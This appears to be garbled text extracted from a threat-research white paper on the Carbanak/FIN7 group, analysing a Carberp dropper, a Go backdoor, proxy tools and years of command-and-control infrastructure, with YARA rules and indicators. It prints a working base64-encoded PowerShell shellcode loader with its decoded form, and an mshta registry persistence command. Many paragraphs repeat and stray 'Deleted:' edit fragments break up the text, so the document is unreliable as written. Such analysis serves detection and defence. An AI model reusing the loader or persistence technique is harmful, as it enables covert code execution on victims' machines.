Run(powershell.exe -noexit -enc JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQB uAGMAZQA9ACcAUwB0AG8AcAAnAAoAJABzAD0AKABHAGUAdAAt AEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACA ASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATABpAGMA ZQBuAHMAZQBzACkALgAnAHsAMAAxADgAMwA4ADYAOAAxAEMA QQA1ADkAOAA4ADEARQBBAH0AJwAKACQAbAA9ACQAcwAuAEwA ZQBuAGcAdABoAAoAJABjAD0AQAAiAAoAWwBEAGwAbABJAG0AcA BvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF 0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQ AZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaA ByAGUAYQBkACgASQBuAHQAUAB0AHIAIABhACwAdQBpAG4AdAAg AGIALABJAG4AdABQAHQAcgAgAGMALABJAG4AdABQAHQAcgAgAG QALAB1AGkAbgB0ACAAZQAsAEkAbgB0AFAAdAByACAAZgApADsAC gBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzA DIALgBkAGwAbAAiACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGE AdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgB pAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAg AGEALAB1AGkAbgB0ACAAYgAsAHUAaQBuAHQAIABjACwAdQBpAG 4AdAAgAGQAKQA7AAoAIgBAAAoAJABhAD0AQQBkAGQALQBUAHk AcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbw BuACAAJABjACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgA C0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4A YwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQAKACQAY gA9ACQAYQA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKA AwACwAJABsACwAMAB4ADMAMAAwADAALAAwAHgANAAwACkA CgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB 0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAG WHITE PAPER 9 EAbABdADoAOgBDAG8AcAB5ACgAJABzACwAMAAsACQAYgAsACQA bAApAAoAJABhADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZA AoADAALAAwACwAJABiACwAMAAsADAALAAwACkAfABPAHUAdA AtAE4AdQBsAGwA,0,0) Figure 14: Encoded PowerShell Command PowerShell Command Decoded ErrorActionPreferenceStop s(Get-ItemProperty -Path HKCU:\Software\ Licenses).01838681CA59881EA ls.
Length c [DllImport(kernel32.dll)] public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f) [DllImport(kernel32.dll)] public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d) aAdd-Type -memberDefinition c -Name Win32 -namespace Win32Functions -passthru ba::VirtualAlloc(0,l,0x3000,0x40) [System.
Runtime.
InteropServices.
Marshal]::Copy(s,0,b,l) a::CreateThread(0,0,b,0,0,0)Out-Null Figure 15: Decoded PowerShell Command This PowerShell script imports VirtualAlloc and CreateThread from Kernel32, copies the shellcode to a segment of memory with PAGE_EXECUTE_ READWRITE [ 0x40] and creates a thread at the returned base of the allocated memory indicated by variable b (Figure 15).
The malware then creates another registry entry at HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run\mshta with the values shown in Figure 16.
PowerShell Command Decoded cmd.exe /c mshta about:hta:application showintaskbarnotitle/ titlescriptresizeTo(0,0)moveTo(-900,-900)eval(new ActiveXObject(WScript.
Shell).RegRead(HKCU\\Software\\Licenses\\ 01838611EAC11772E))if(window.flag)close()/script Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself.
When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script.
This PowerShell script allocates WHITE PAPER 10 executable memory and copies the binary contents of the first registry key into that space, then creates a thread at the base address of this memory.
This shellcode unpacks a Carberp DLL and runs it.
The Carberp DLL has anti-analysis features that check for virtualization and common sandboxing techniques, exiting if it finds any.
RSA NetWitness Endpoint discovers this Trojan as a floating DLL in the users explorer.exe instance (Figure 17).
Figure 17: Carberp Floating DLL Figure 18: Carberp Startup from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking the module and selecting Analyze shows suspicious network-related strings (Figure 19).
The malware communicates via SSL/TLS to the domains below and was active in 2015.
The Trojan may also be configured to communicate via HTTP and be detected using the HTTP section of the RSA NetWitness Hunting Pack.
If the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered.
Figure 19: Suspicious Strings in Floating DLL HTML Application Registry Key cmd.exe /c mshta about:hta:application showintaskbarnotitle/titlescriptresizeTo(0,0)moveTo(-900,-900)eval(new ActiveXObject(WScript.
Shell).RegRead(HKCU\\Software\\Licenses\\01838611EAC11772E))if( window.flag)close()/script Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself.
When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script.
This PowerShell script allocates executable memory and copies the binary contents of the first registry key into that space, then creates a thread at the base address of this memory.
This shellcode unpacks a Carberp DLL and runs it.
The Carberp DLL has anti- analysis features that check for virtualization and common sandboxing techniques, exiting if it finds any.
RSA NetWitness Endpoint discovers this Trojan as a floating DLL in the users explorer.exe instance (Figure 17).
Figure 17: Carberp Floating DLL Figure 18: Carberp Startup from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking the module and selecting Analyze shows suspicious network-related strings (Figure 19).
The malware communicates via SSL/TLS to the domains below and was active in 2015.
The Trojan may also be configured to communicate via HTTP and be detected using the HTTP section of the RSA NetWitness Hunting Pack.
If the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered.
Deleted: Deleted: Deleted: Deleted: Deleted: users Deleted: right Deleted: Deleted: Deleted: Deleted: Man Deleted: Middle Deleted: MiTM HTML Application Registry Key cmd.exe /c mshta about:hta:application showintaskbarnotitle/titlescriptresizeTo(0,0)moveTo(-900,-900)eval(new ActiveXObject(WScript.
Shell).RegRead(HKCU\\Software\\Licenses\\01838611EAC11772E))if( window.flag)close()/script Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself.
When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script.
This PowerShell script allocates executable memory and copies the binary contents of the first registry key into that space, then creates a thread at the base address of this memory.
This shellcode unpacks a Carberp DLL and runs it.
The Carberp DLL has anti- analysis features that check for virtualization and common sandboxing techniques, exiting if it finds any.
RSA NetWitness Endpoint discovers this Trojan as a floating DLL in the users explorer.exe instance (Figure 17).
Figure 17: Carberp Floating DLL Figure 18: Carberp Startup from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking the module and selecting Analyze shows suspicious network-related strings (Figure 19).
The malware communicates via SSL/TLS to the domains below and was active in 2015.
The Trojan may also be configured to communicate via HTTP and be detected using the HTTP section of the RSA NetWitness Hunting Pack.
If the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered.
Deleted: Deleted: Deleted: Deleted: Deleted: users Deleted: right Deleted: Deleted: Deleted: Deleted: Man Deleted: Middle Deleted: MiTM Figure 19: Suspicious Strings in Floating DLL Domain IP and Port strangeerglassingpbx.org 192.52.167.137:443 klyferyinsoxbabesy.biz 217.12.203.194:443 oplesandroxgeoflax.org never registered The following YARA signature detects the unpacked DLL in an RSA NetWitness Endpoint environment.
YARA Signature for Injected Carberp DLL rule Carbanak_Carberp meta: author RSA FW strings: mz 4D 5A path userprofile\\AppData\\LocalLow\\u.db wide sbox1 MALTEST wide sbox2 TEQUILABOOMBOOM wide sbox3 SANDBOX wide sbox4 VIRUS wide sbox5 MALWARE wide uri /s?user08x08x08x08xiduveruosluos2luhostuklutypeu wide condition: mz at 0 and path and uri and all of (sbox) https://community.rsa.com/docs/DOC-62341 WHITE PAPER 11 Domain IP and Port strangeerglassingpbx.org 192.52.167.137:443 KLYFERYINSOXBABESY.BIZ 217.12.203.194:443 OPLESANDROXGEOFLAX.ORG NEVER REGISTERED The following YARA signature detects the unpacked DLL in an RSA NetWitness Endpoint environment.
YARA Signature for Injected Carberp DLL rule Carbanak_Carberp meta: author RSA FW strings: mz 4D 5A path userprofile\\AppData\\LocalLow\\u.db wide sbox1 MALTEST wide sbox2 TEQUILABOOMBOOM wide sbox3 SANDBOX wide sbox4 VIRUS wide sbox5 MALWARE wide uri /s?user08x08x08x08xiduveruosluos2 luhostuklutypeu wide condition: mz at 0 and path and uri and all of (sbox) 2.1.3.
Other Windows Trojans The Carbanak/FIN7 syndicate appears to have ready access to an array of common crimeware and banker-style Trojans, as well as a few custom, yet relatively simple, Trojans.
This indicates that they either a) are part of the development team that built these Trojans or b) have access to the vendors that sell these intrusion sets.
The simplicity of their custom malware indicates option b might be likely however, there is no direct evidence to support this conclusion.
Compounding this issue, the attackers appear to have a solid grasp on OPSEC, having evaded direct attribution thus far.
The common malware repurposed for targeted intrusions is listed below with a brief description of each.
This is worth mentioning so that a network defender can alert on AV logs for these specific classifications.
By using malware that would be classified as a common threat, they are able to avoid intense scrutiny.
WHITE PAPER 12 Trojan Family Description Andromeda/Gamarue Backdoor commonly used to deliver banking Trojans uses plug-ins like Carberp to extend functionality Qadars Banking Trojan loosely based on leaked source code of Carberp and Zeus supports plug-ins Meterpreter Metasploit backdoor payload loader very extensible Cobalt Strike Full-featured Red Team software unlicensed versions using the HTTP beacon contain the X-malware HTTP header Odaniff Download and execute arbitrary files run shell commands In addition to common crimeware repurposed for targeted intrusions, these actors also engineer their own custom, albeit simplistic, Trojans.
The following example, ctlmon.exe, is indicative of their latest work.
Carbanak/FIN7 Go Trojan File Name: ctlmon.exe File Size: 4392448 bytes MD5: 370d420948672e04ba8eac10bfe6fc9c SHA1: 450605b6761ff8dd025978f44724b11e0c5eadcc PE Time: 0x0 [Thu Jan 01 00:00:00 1970 UTC] Sections (4): Name Entropy MD5 .text 5.86 81e6ebbfa5b3cca1c38be969510fae07 .data 5.17 17c39e9611777b3bcf6d289ce02f42a1 .idata 3.49 b6cb3301099e4b93902c3b59dcabb030 .symtab 0.02 07b5472d347d42780469fb2654b7fc54 This peculiar sample was simple in its implementation, but not simple to analyze.
Written in Go language and compiled into a Windows Executable, it presented several hurdles to the tools a typical malware analyst will use, specifically IDA Pro.
When importing this sample, nearly none of the functions were recognized by IDAs flow-disassembler (Figure 20).
https://golang.org/ https://www.hex-rays.com/products/ida/ WHITE PAPER 13 Figure 20: IDA Pro Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go Runtime code as well as the imported libraries.
This still left more than 5000 functions to analyze (Figure 21).
Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported librariesnot likely malicious or user createdallowed us to analyze the user-created logic.
Now we simply reference the functionality of the library code (Figure 22).
Figure 22: User-Created Code Instead of Compiled Libraries Figure 20: IDA Pro Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go Runtime code as well as the imported libraries.
This still left more than 5000 functions to analyze (Figure 21).
Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported librariesnot likely malicious or user created allowed us to analyze the user-created logic.
Now we simply reference the functionality of the library code (Figure 22).
Deleted: Deleted: Deleted: Figure 20: IDA Pro Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go Runtime code as well as the imported libraries.
This still left more than 5000 functions to analyze (Figure 21).
Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported librariesnot likely malicious or user created allowed us to analyze the user-created logic.
Now we simply reference the functionality of the library code (Figure 22).
Deleted: Deleted: Deleted: Figure 22: User-Created Code Instead of Compiled Libraries Running a web search on the library calls leads to runtime_stringtoslicebyte, which takes a string and turns it into a sequence of bytesexactly as expected of a simple XOR key.
The malware moves the offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of the XOR key string into RCX), and then onto the stack before it calls runtime_stringtoslicebyte to decode the configuration (Figure 23).
Deleted: User Deleted: Googling Deleted: , Deleted: Deleted: Deleted: [ Deleted: ], https://github.com/strazzere/golang_loader_assist WHITE PAPER 14 Running a web search on the library calls leads to runtime_stringtoslicebyte, which takes a string and turns it into a sequence of bytesexactly as expected of a simple XOR key.
The malware moves the offset for the XOR key into RAX, then into a QWORD (global variable calculated based on the length of the XOR key string into RCX), and then onto the stack before it calls runtime_ stringtoslicebyte to decode the configuration (Figure 23).
Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24).
Figure 24: Decoded Trojan Commands A brief synopsis of the commands: Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor The malware also queries the users default TEMP directory looking for the xname.txt file and uploads to the C2 server.
The malware does not create this file therefore, its functionality remains unknown at this time (Figure 25).
Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24).
Figure 24: Decoded Trojan Commands A brief synopsis of the commands: Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor The malware also queries the users default TEMP directory looking for the xname.txt file and uploads to the C2 server.
The malware does not create this file therefore, its functionality remains unknown at this time (Figure 25).
Deleted: Malware Deleted: Figure 23: Configuration XOR Key When the malware starts, it will decode the command strings used in memory to avoid static detection and heuristics (Figure 24).
Figure 24: Decoded Trojan Commands A brief synopsis of the commands: Command Function ps Display process listing shell Begin interactive command shell kill Remove Windows Service and malware info Get system information wget Download function via wget HTTP wput Upload function via wput FTP name Get hostname of victim service Install malware as Windows Service with Service Name of WindowsCtlMonitor The malware also queries the users default TEMP directory looking for the xname.txt file and uploads to the C2 server.
The malware does not create this file therefore, its functionality remains unknown at this time (Figure 25).
Deleted: Malware Deleted: WHITE PAPER 15 Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.
]146 over TCP port 443 with a simple, single-byte XOR key that changes on every connection.
The output is a single- byte XOR command output the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the shell command (Figure 26).
Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below.
RSA Research has not been able to locate any additional samples like this, making it impossible to build a corpus of variants to diff them in an effort to identify whats common.
Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.
]146 over TCP port 443 with a simple, single-byte XOR key that changes on every connection.
The output is a single-byte XOR command output the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the shell command (Figure 26).
Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below.
RSA Research has not been able to locate any additional samples like this, making it impossible to build a corpus of variants to diff them in an effort to identify whats common.
Deleted: single Deleted: Deleted: Figure 25: Malware Reading Unknown File The malware beacons to 107.181.246[.
]146 over TCP port 443 with a simple, single-byte XOR key that changes on every connection.
The output is a single-byte XOR command output the malware simply redirects STDIN, STDOUT and STDERR across the encoded connection when it receives the shell command (Figure 26).
Figure 26: Simple Command Shell This Trojan may be detected with the YARA signature, below.
RSA Research has not been able to locate any additional samples like this, making it impossible to build a corpus of variants to diff them in an effort to identify whats common.
Deleted: single Deleted: Deleted: WHITE PAPER 16 YARA Signature for Go Trojan rule Carbanak_Go_Trojan meta: author RSA FW strings: mz 4D 5A build_id Go build ID: \33ee104ab2c9fc37c067a26623e7fddd3bb76302\ string xname.txt sgc 2.16.840.1.113730.4.1 msc 1.3.6.1.4.1.311.10.3.3 condition: mz at 0 and (build_id or (string and sgc and msc)) 2.1.4.
Linux and Other Tools Carbanak/FIN7 operators are not confined to a compromised organizations Windows environment.
While their goal is generally the Windows-based machines, certain sub-groups are rather adept in the Linux world and have used specialized tools to migrate from one to the other, as well as to maintain persistence.
The following SOCKS5 proxy tool is a strong example.
Carbanak/FIN7 Linux SOCKS5 Proxy Name auditd MD5 b57dc2bc16dfdb3de55923aef9a98401 SHA-1 1d3501b30183ba213fb4c22a00d89db6fd50cc34 Size 21.1 KB (21616 bytes) Type ELF Magic ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped Name Type Address Offset Size Flags NULL NULL 0x00000000 0x00000000 0 .interp PROGBITS 0x00400200 0x00000200 28 A .note.
ABI-tag NOTE 0x0040021c 0x0000021c 32 A .note.gnu.build-id NOTE 0x0040023c 0x0000023c 36 A .gnu.hash GNU_HASH 0x00400260 0x00000260 36 A .dynsym DYNSYM 0x00400288 0x00000288 792 A .dynstr STRTAB 0x004005a0 0x000005a0 280 A .gnu.version VERSYM 0x004006b8 0x000006b8 66 A .gnu.version_r VERNEED 0x00400700 0x00000700 32 A .rela.dyn RELA 0x00400720 0x00000720 24 A WHITE PAPER 17 The utility begins as a daemon and connects to 95.215.36[.
]116 over TCP port 443.
These values, as well as credentials, are hardcoded into the malware and not obfuscated in any way (Figure 27).
Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from these locations, combined with sprintf() s:s and base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
Figure 28: Reading the Password Figure 29: Reading the User ID Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from these locations, combined with sprintf() s:s and base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
Figure 28: Reading the Password Figure 27: Hardcoded SOCKS5 Proxy Information The credentials are read from these locations, combined with sprintf() s:s and base64 encoded to create the Authorization-Basic string (Figures 28 and 29).
Figure 28: Reading the Password Figure 29: Reading the User ID The SOCKS5 proxy obfuscates its traffic with a simple XOR loop.
The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30).
Figure 30: XOR Obfuscation on Top of SOCKS5 Proxy Deleted: t Deleted: top WHITE PAPER 18 The SOCKS5 proxy obfuscates its traffic with a simple XOR loop.
The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30).
Figure 30: XOR Obfuscation on Top of SOCKS5 Proxy This Linux SOCKS5 proxy may be found with this YARA rule: YARA Signature for Linux SOCKS5 Proxy rule Carbanak_ELF_SocksTunnel meta: author RSA FW strings: elf 7F 45 4C s1 SendToTunnelSocks5Answer s2 SendToTunnel s3 process_out_data s4 process_in_data s5 update_tunnel_select_ex_cb s6 update_tunnel_descriptors s7 process_data_from_tunnel s8 UpdatePingTime condition: elf at 0 and all of (s) Figure 29: Reading the User ID The SOCKS5 proxy obfuscates its traffic with a simple XOR loop.
The same key is also used in another one of their Windows IP forwarding tools, discussed later (Figure 30).
Figure 30: XOR Obfuscation on Top of SOCKS5 Proxy Deleted: t Deleted: top WHITE PAPER 19 A similar Windows utility, svcmd.exe, was discovered as well.
Carbanak/FIN7 Windows IP Proxy Tool File Name: svcmd.exe File Size: 47104 bytes MD5: 8b3a91038ecb2f57de5bbd29848b6dc4 SHA1: 54074b3934955d4121d1a01fe2ed5493c3f7f16d PE Time: 0x58CBC258 [Fri Mar 17 11:02:48 2017 UTC] PEID Sig: Microsoft Visual C 8 Sections (5): Name Entropy MD5 .text 6.57 80dd3bd472624a01e5dff9e015ed74fd .rdata 5.44 b789b368b21d3d99504e6eb11a6d6111 .data 2.31 970056273f112900c81725137f9f8b45 .rsrc 5.1 44a70bdd3dc9af38103d562d29023882 .reloc 4.4 c99c03a1ef6bc783bb6e534476e5155b This tool also has its configuration hardcoded into the malware and is plainly visible in its strings (Figure 31).
Figure 31: Clearly Visible Network Information Figure 31: Clearly Visible Network Information Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address 185.86.151[.
]174 on TCP port 443.
It also uses a simple XOR obfuscation routine with the key of 0x41, the same as the Linux SOCKS5 proxy (Figure 32).
Deleted: Deleted: Proxy WHITE PAPER 20 Instead of a SOCKS5 proxy, this tool appears to directly forward packets to the IP address 185.86.151[.
]174 on TCP port 443.
It also uses a simple XOR obfuscation routine with the key of 0x41, the same as the Linux SOCKS5 proxy (Figure 32).
Figure 32: IP Proxy Tool XOR Routine Figure 32: IP Proxy Tool XOR Routine WHITE PAPER 21 YARA Signature for Windows IP Proxy Tool rule Carbanak_IP_Proxy meta: author RSA FW strings: mz 4D 5A decoder 33 C0 EB 03 [0-3] 80 34 38 41 40 3B C6 75 F7 condition: mz at 0 and decoder The syndicate also utilizes several freely available reconnaissance, lateral movement and privilege escalation tools, not to mention various Track data memory scrapers and other financial data-gathering utilities discovered in the wild.
The table below enumerates the most common tools utilized by these actors.
Tool Description mimikatz Password dumper 32-bit or 64-bit mimikatz-lite Smaller version of mimikatz 32-bit or 64-bit invoke-minikatz PowerShell version of mimikatz System scrapers Will return browser history and passwords, as well as RDP and share information WGET GNU HTTP tool Win32 and ELF Network scanners Simple scanners to quickly identify open ports on a network segment Compression utilities RAR, 7zip, etc.,
renamed to compress exfil for faster transmission, as well as fooling simple flow analysis Log wipers From batch scripts, bash scripts, PowerShell scripts invoking WMIC commands to custom binariesall configured to wipe logs Backdoored SSH and SSHD daemons Allows remote access with key-based authentication, as well as exfiltrating all successful authentications to a configured domain or IP on the internet Lateral movement tools PSEXEC, PAExec, TinyP, Winexec for Linux allowing remote execution of arbitrary files with stolen credentials from one machine on the network to another Remote administration tools Ammy admin plink used to create reverse SSH tunnel various implementations of local proxies to circumvent firewalls and network segmentation WHITE PAPER 22 Known exploits RTF, DOC, DOCX exploit lures direct attacks on web applications and external infrastructure to gain a foothold in the network, as well as local privilege escalation vulnerabilities for Linux and Windows Table 1: Common Tools Used by Carbanak/FIN7 3.
ANUNAK HISTORICAL OVERVIEW The following figures were compiled from Anunak/Sekur samples acquired from VirusTotal.
They were initially sorted by compile time, but this proved problematic as many had compile times zeroed out (resulting in a compile date of January 1, 1970) or were tampered with to infer future compile date.
Consequently, the samples were sorted by first submission to VirusTotal.
The Trojans were often hardcoded with domains and IP addresses with a port.
New indicators appear on the graph next to their submission date.
Please note that no pDNS for the domains was added to the timeline due to the compile time vs. submission time irregularities.
While there are many overlaps in infrastructure between 2014 (Figure 33) into early 2015, the 2015 period (Figure 34) shows a dramatic slowdown in the groups activity.
It is noteworthy that Kaspersky reported (in February 2015) the group was responsible for stealing millions, if not billions, from banks during 2013 and 2014.
Several months later, the authorities made high-profile arrests on charges of ATM fraud and SWIFT transfers and other direct account transfers.
The observed lull in the groups activity following this attribution and related arrests indicates that some of the more prolific actors were either caught, ceased their activity, moved on, or changed their TTPs and continued operations.
While each of these options is a possible truth, RSA Research believes that the 2015 curtailment of activity reflects Carbanak operators, still reeling from a law enforcement takedown, reorganizing into a more loosely affiliated syndicate.
As mentioned previously, the graph shows net-new infrastructure, and its worth it to note that in 2014 there were many different samples that communicated with overlapping domains and IP addresses.
The immense slowdown in 2015 in new indicators, and the fact that the samples observed stopped reusing or overlapping domains and IPs, suggest a fragmentationespecially considering that 2016 shows very little intersection of domains and IPs.
The 2016 period (Figure 35) shows an uptick in activity that included both reused and new malware.
This led us to believe the reorganized Carbanak syndicate recruited new members, falling back on previously successful methods to exploit victim networks after gaining a foothold.
This aligns with RSA Incident Response teams field experience, where actors using these same tactics and tools were found to be using custom or completely different Trojans than Carberp and Anunak/Sekur, post 2015.
The 2017 time period (Figure 36), while not yet over, is relatively sparse compared to previous years, possibly indicating this malware is at the end of its lifecycle.
It is likely, given the history, some remnants of it will be recycled into another implant in the future.
https://www.virustotal.com//home/upload https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf http://www.pcworld.com/article/2915112/police-breaks-up-cybergang-that-stole-over-15-million-from-banks.html https://www.justice.gov/usao-nj/pr/five-indicted-new-jersey-largest-known-data-breach-conspiracy WHITE PAPER 23 Figure 33: 2014 Infrastructure 2/10/2014 2/10/2014 paradise-plaza.com, 188.138.98.105:700 3/5/2014 akamai-technologies.org, 158.58.172.157:7003/1/2014 4/1/2014 4/24/2014 java-update.co.uk, 184.22.58.143:443 5/1/2014 6/1/2014 6/10/2014 adguard.name, 5.199.169.188:443 6/22/2014 public-dns.com, 58.158.177.102:80, 88.198.184.241:700 6/23/2014 37.235.54.48:443 5/2/2014 mind-finder.com 7/1/2014 8/1/2014 9/1/2014 10/1/2014 11/1/2014 12/1/2014 12/31/2014 7/6/2014 financialnewsonline.pw 7/2/2014 financialnewsonline.pw 185.10.56.59:443 8/6/2014 androidn.net 8/12/2014 209.222.30.5:443 10/1/2014 microsoc1pol361.com, 83.166.234.250:443 10/20/2014 freemsk-dns.com, 87.98.153.34:443 10/19/2014 216.170.117.7:443 10/12/2014 31.131.17.125:443 10/8/2014 worldnewsonline.pw, 185.10.56.59:443, 69.195.129.70:80 10/9/2014 get.bloody-roots.club, 83.166.234.250:443 11/21/2014 onlineoffice.pw 11/28/2014 gendelf.com, 31.7.61.136:443 12/16/2014 comixed.org 162.221.183.109:443 10/15/2014 5.61.32.118:443, 66.55.133.86:80 10/23/2014 216.170.117.88:443 10/30/2014 systemsvc.net, 131.72.138.180:443 11/17/2014 microso1povkjbdw87kgf518nl361.com, 131.72.138.180:443 11/25/2014 microsojhecwhb7832873.com, 81.17.17.42:443 12/24/2014 217.172.186.179:443, 85.143.166.76.80 12/8/2014 216.170.117.28:443, 94.100.180.200:80 10/22/2014 coral-travel.com, 31.131.17.127:443 69.195.129.72:80 9/26/2014 87.236.210.109:443 9/7/2014 31.131.17.128:443 8/22/2014 glonass-map.com, 88.198.184.241:443 8/5/2014 di-led.com, 108.61.197.233:443, 108.61.197.254:80 8/25/2014 nyugorta.com, 95.211.172.143:80 7/10/2014 great-codes.com 7/22/2014 datsun-auto.com 7/3/2014 87.236.210.109:443 7/3/2014 update-java.net 7/8/2014 public-dns.us 7/18/2014 travel-maps.info 7/31/2014 69.195.129.70:80 WHITE PAPER 24 Figure 34: 2015 Infrastructure 1/1/2015 2/1/2015 3/1/2015 4/1/2015 5/1/2015 6/1/2015 7/1/2015 8/1/2015 9/1/2015 10/1/2015 11/1/2015 12/1/2015 12/31/2015 3/3/2015 193.203.48.41:700, 91.207.60.68:80 3/3/2015 playbengx.net, 185.29.9.51:443 4/7/2015 77.88.55.77:80, 87.236.210.109:443 6/2/2015 194.146.180.58:80, 87.98.217.9:443 8/6/2015 82.163.78.188:443 8/31/2015 141.255.167.28:443 5/5/2015 weekend-service.com, 216.170.116.120:443 5/14/2015 94.156.77.149:80 7/30/2015 185.29.9.28:443 10/9/2015 88.150.175.102:443 10/21/2015 107.161.145.208:443, 62.75.218.45:80 10/14/2015 5.9.189.40:443 11/10/2015 194.146.180.58:80, 89.46.103.42:443 2/23/2015 coral-trevel.com, 31.131.17.127:443, 69.195.129.72:80, 87.98.153.34:443 2/26/2015 92.255.170.197:444 WHITE PAPER 25 Figure 35: 2016 Infrastructure 1/1/2016 2/1/2016 3/1/2016 4/1/2016 5/1/2016 6/1/2016 8/1/2016 10/1/2016 12/1/2016 11/1/2016 9/1/2016 1/19/2016 social.strideindustrialusa.com 2/5/2016 23.249.162.161:443 3/2/2016 www.crapoerne.com, 216.170.118.136:443, 95.211.172.143:80 3/21/2016 151.80.8.10:443 4/8/2016 185.86.149.60:443, 95.215.45.228:443 5/1/2016 www.sityahoogoodt.com, 151.80.241.83:443 5/25/2016 194.146.180.44:80 6/11/2016 updateserver.info 7/12/2016 179.43.140.82:443 8/10/2016 46.165.228.24:443 9/4/2016 176.101.223.101:443, 194.146.180.43:80 9/12/2016 185.86.151.210:443, 204.155.30.87:443 10/24/2016 204.155.30.100:443 2/17/2016 www.draiklehfert.com, 151.80.8.10:443 1/27/2016 149.202.138.110:443, 194.146.180.40:80 2/16/2016 194.146.180.40:80 2/23/2016 www.carenty44.net, 78.128.92.29:443 3/10/2016 107.161.159.17:443 4/5/2016 www.payrt.com, 185.29.11.7:443 4/25/2016 176.101.223.100:443, 194.146.180.41:80 5/27/2016 94.140.120.132:443, 95.215.46.70:443 6/30/2016 193.203.48.23:700, 89.144.14.65:80 7/23/2016 138.201.44.10:443, 95.215.47.109:443 8/17/2016 great-codes.com, public-dns.us, wefwe3223wfdsf, 188.138.98.105:701, 37.235.54.48:443, 5.61.38.52:443 9/7/2016 ajlindustries.myfreesites.net 7/1/2016 WHITE PAPER 26 Figure 36: 2017 Infrastructure 4.
OVERLAP WITH COMMON CRIMEWARE CAMPAIGNS During RSA Researchs analysis, an interesting link emerged to several crimeware campaigns.
This made sense, considering the prolific use of banker Trojans and other information-stealing Trojans by these groups.
The Anunak/Sekur malware is the only unique family attributed to these groups.
The rest are common, repurposed malware.
By pivoting on the known infrastructure with respect to when the Trojans were active, RSA Research was able to discover a potential overlap.
